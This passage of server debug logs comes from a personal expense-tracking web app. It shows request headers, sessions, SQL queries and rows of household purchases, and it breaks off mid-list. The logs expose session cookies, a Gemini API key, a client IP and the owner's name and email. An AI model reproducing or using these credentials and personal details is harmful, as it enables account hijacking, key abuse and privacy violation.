    cookie: 'security.auth=s%3A5%2FhGQmrShG7llOmje184jw%3D%3D.KEokyAzjJi33lruPCFTDAIxWUiG91iOAf900Zjg%2FCFIQm%2FU4E6tzgTkQ9DxEYEIr6AWT8NlR4iOk2%2BsvMOI63W98VGk8VViXtJ5QPcMIIioSwyCqQyo%2BpBXLrN05SNmfGSql0qnfoXdagI1JLnmFK5CgZi%2BsTB2cnSO%2Fcn3OZ3g%3D.cO08Mf2zu9AUxFlwf5QhXoQPEJfTGoz0H51u77B135s; your_r_git.sid=s%3A-37Jix6p-_jpGFOHZ-xfhIvYTs_FoWDW.2jqoRNH%2Fhh7G0IrrhwCvg6eWXsWbRvrTj%2Fupw%2BYE6OQ',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T13:43:11.717Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/expense/list',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/expense/list',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/expense/list',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A5%2FhGQmrShG7llOmje184jw%3D%3D.KEokyAzjJi33lruPCFTDAIxWUiG91iOAf900Zjg%2FCFIQm%2FU4E6tzgTkQ9DxEYEIr6AWT8NlR4iOk2%2BsvMOI63W98VGk8VViXtJ5QPcMIIioSwyCqQyo%2BpBXLrN05SNmfGSql0qnfoXdagI1JLnmFK5CgZi%2BsTB2cnSO%2Fcn3OZ3g%3D.cO08Mf2zu9AUxFlwf5QhXoQPEJfTGoz0H51u77B135s; your_r_git.sid=s%3A-37Jix6p-_jpGFOHZ-xfhIvYTs_FoWDW.2jqoRNH%2Fhh7G0IrrhwCvg6eWXsWbRvrTj%2Fupw%2BYE6OQ',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-12T13:43:20.377Z server-connect:router Serving serverConnect /api/expense/list
2025-12-12T13:43:20.377Z server-connect:router Serving serverConnect /api/masters/get-tags
2025-12-12T13:43:20.378Z server-connect:app Executing action step identify
2025-12-12T13:43:20.378Z server-connect:app options: { provider: 'security' }
2025-12-12T13:43:20.378Z server-connect:output identity: 1
2025-12-12T13:43:20.378Z server-connect:app Executing action step restrict
2025-12-12T13:43:20.378Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T13:43:20.378Z server-connect:app Executing action step identify
2025-12-12T13:43:20.378Z server-connect:app options: { provider: 'security' }
2025-12-12T13:43:20.379Z server-connect:output identity: 1
2025-12-12T13:43:20.379Z server-connect:app Executing action step restrict
2025-12-12T13:43:20.379Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T13:43:20.379Z server-connect:output restrict: undefined
2025-12-12T13:43:20.379Z server-connect:app Executing action step paged
2025-12-12T13:43:20.379Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'expense' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    query: 'select `expense`.`invoice_number`, `expense`.`quantity`, `expense`.`purchase_date`, `expense`.`receipt_url`, `expense`.`remark`, `expense`.`amount`, `sc`.`subcategory_name` as `item_name`, `c1`.`name` as `unit` from `expense` inner join `sub_categories` as `sc` on `sc`.`id` = `expense`.`category_id` inner join `collections` as `c1` on `c1`.`id` = `expense`.`unit` where (`expense`.`amount` = ? or `sc`.`subcategory_name` like ? or `c1`.`name` like ?) order by `expense`.`purchase_date` DESC',
    orders: [ [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2025-12-12T13:43:20.381Z server-connect:output restrict: undefined
2025-12-12T13:43:20.381Z server-connect:app Executing action step select
2025-12-12T13:43:20.381Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'm_tags' },
    primary: 'id',
    joins: [],
    query: 'select `id`, `tag` from `m_tags`'
  }
}
2025-12-12T13:43:20.383Z server-connect:output list: [
  { id: 1, tag: 'Gadgets' },
  { id: 2, tag: 'Waste of money' },
  { id: 3, tag: 'Relax' },
  { id: 4, tag: 'Luxury' },
  { id: 5, tag: 'Needs' },
  { id: 6, tag: 'Swiggy' },
  { id: 7, tag: 'Zomato' },
  { id: 8, tag: 'Bills' },
  { id: 9, tag: 'EMIs' },
  { id: 10, tag: 'Blinkit' },
  { id: 11, tag: 'Instamart' }
]
2025-12-12T13:43:20.390Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 1955,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 1950 },
    current: 1,
    total: 79
  },
  data: [
    {
      invoice_number: 1239,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '189.00',
      item_name: 'Clothing',
      unit: 'Other'
    },
    {
      invoice_number: 1244,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '300.00',
      item_name: 'Gas Bill',
      unit: 'Other'
    },
    {
      invoice_number: 1237,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '95.00',
      item_name: 'App Subscription',
      unit: 'Other'
    },
    {
      invoice_number: 1238,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '348.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1240,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'fruits',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '72.00',
      item_name: 'Paneer',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '80.00',
      item_name: 'Paneer Masala',
      unit: 'Other'
    },
    {
      invoice_number: 1231,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '55.00',
      item_name: 'Milk',
      unit: 'Other'
    },
    {
      invoice_number: 1232,
      quantity: '2.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1233,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '585.00',
      item_name: 'Vegetables',
      unit: 'Other'
    },
    {
      invoice_number: 1234,
      quantity: '8.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '1432.00',
      item_name: 'HotWheels',
      unit: 'Piece'
    },
    {
      invoice_number: 1235,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '397.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1236,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '111.00',
      item_name: 'Online Order',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '118.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'Raw Chicken',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '30.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '120.00',
      item_name: 'Egg',
      unit: 'Other'
    },
    {
      invoice_number: 1243,
      quantity: '2.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '184.00',
      item_name: 'GoodKnight Liquid',
      unit: 'Piece'
    },
    {
      invoice_number: 1243,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '519.00',
      item_name: 'Pre workout muscle blaze',
      unit: 'Other'
    },
    {
      invoice_number: 1227,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '3818.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '20.00',
      item_name: 'Pani Puri',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '230.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1229,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '143.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1219,
      quantity: '2.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1220,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '125.00',
      item_name: 'HotWheels World',
      unit: 'Other'
    },
    {
      invoice_number: 1221,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '71.00',
      item_name: 'Vegetables',
      unit: 'Other'
    }
  ]
}
2025-12-12T13:43:21.608Z server-connect:router Serving templateView /expense/list
2025-12-12T13:43:21.608Z server-connect:app Executing action step identify
2025-12-12T13:43:21.608Z server-connect:app options: { provider: 'security' }
2025-12-12T13:43:21.608Z server-connect:output identity: 1
2025-12-12T13:43:21.608Z server-connect:app Executing action step restrict
2025-12-12T13:43:21.608Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T13:43:21.609Z server-connect:output restrict: undefined
2025-12-12T13:43:21.609Z server-connect:router Render template layouts/main
2025-12-12T13:43:21.609Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A5%2FhGQmrShG7llOmje184jw%3D%3D.KEokyAzjJi33lruPCFTDAIxWUiG91iOAf900Zjg%2FCFIQm%2FU4E6tzgTkQ9DxEYEIr6AWT8NlR4iOk2%2BsvMOI63W98VGk8VViXtJ5QPcMIIioSwyCqQyo%2BpBXLrN05SNmfGSql0qnfoXdagI1JLnmFK5CgZi%2BsTB2cnSO%2Fcn3OZ3g%3D.cO08Mf2zu9AUxFlwf5QhXoQPEJfTGoz0H51u77B135s; your_r_git.sid=s%3A-37Jix6p-_jpGFOHZ-xfhIvYTs_FoWDW.2jqoRNH%2Fhh7G0IrrhwCvg6eWXsWbRvrTj%2Fupw%2BYE6OQ',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T13:43:11.717Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/expense/list',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/expense/list',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A5%2FhGQmrShG7llOmje184jw%3D%3D.KEokyAzjJi33lruPCFTDAIxWUiG91iOAf900Zjg%2FCFIQm%2FU4E6tzgTkQ9DxEYEIr6AWT8NlR4iOk2%2BsvMOI63W98VGk8VViXtJ5QPcMIIioSwyCqQyo%2BpBXLrN05SNmfGSql0qnfoXdagI1JLnmFK5CgZi%2BsTB2cnSO%2Fcn3OZ3g%3D.cO08Mf2zu9AUxFlwf5QhXoQPEJfTGoz0H51u77B135s; your_r_git.sid=s%3A-37Jix6p-_jpGFOHZ-xfhIvYTs_FoWDW.2jqoRNH%2Fhh7G0IrrhwCvg6eWXsWbRvrTj%2Fupw%2BYE6OQ',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/expense/list'
}
2025-12-12T13:43:22.183Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-12T13:43:22.183Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-12T13:43:22.184Z server-connect:router Serving serverConnect /api/expense/list
2025-12-12T13:43:22.184Z server-connect:router Serving serverConnect /api/masters/get-tags
2025-12-12T13:43:22.185Z server-connect:app Executing action step identify
2025-12-12T13:43:22.185Z server-connect:app options: { provider: 'security' }
2025-12-12T13:43:22.185Z server-connect:output identity: 1
2025-12-12T13:43:22.186Z server-connect:app Executing action step restrict
2025-12-12T13:43:22.186Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T13:43:22.186Z server-connect:app Executing action step identify
2025-12-12T13:43:22.186Z server-connect:app options: { provider: 'security' }
2025-12-12T13:43:22.186Z server-connect:output identity: 1
2025-12-12T13:43:22.186Z server-connect:app Executing action step restrict
2025-12-12T13:43:22.186Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T13:43:22.186Z server-connect:app Executing action step identify
2025-12-12T13:43:22.186Z server-connect:app options: { provider: 'security' }
2025-12-12T13:43:22.187Z server-connect:output identity: 1
2025-12-12T13:43:22.187Z server-connect:app Executing action step restrict
2025-12-12T13:43:22.187Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T13:43:22.187Z server-connect:output restrict: undefined
2025-12-12T13:43:22.187Z server-connect:app Executing action step single
2025-12-12T13:43:22.187Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-12T13:43:22.188Z server-connect:output restrict: undefined
2025-12-12T13:43:22.188Z server-connect:app Executing action step select
2025-12-12T13:43:22.188Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-12T13:43:22.188Z server-connect:app Executing action step identify
2025-12-12T13:43:22.189Z server-connect:app options: { provider: 'security' }
2025-12-12T13:43:22.189Z server-connect:output identity: 1
2025-12-12T13:43:22.189Z server-connect:app Executing action step restrict
2025-12-12T13:43:22.189Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-12T13:43:22.190Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-12T13:43:22.190Z server-connect:output restrict: undefined
2025-12-12T13:43:22.190Z server-connect:app Executing action step paged
2025-12-12T13:43:22.191Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'expense' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    query: 'select `expense`.`invoice_number`, `expense`.`quantity`, `expense`.`purchase_date`, `expense`.`receipt_url`, `expense`.`remark`, `expense`.`amount`, `sc`.`subcategory_name` as `item_name`, `c1`.`name` as `unit` from `expense` inner join `sub_categories` as `sc` on `sc`.`id` = `expense`.`category_id` inner join `collections` as `c1` on `c1`.`id` = `expense`.`unit` where (`expense`.`amount` = ? or `sc`.`subcategory_name` like ? or `c1`.`name` like ?) order by `expense`.`purchase_date` DESC',
    orders: [ [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2025-12-12T13:43:22.192Z server-connect:output restrict: undefined
2025-12-12T13:43:22.192Z server-connect:app Executing action step select
2025-12-12T13:43:22.192Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'm_tags' },
    primary: 'id',
    joins: [],
    query: 'select `id`, `tag` from `m_tags`'
  }
}
2025-12-12T13:43:22.195Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
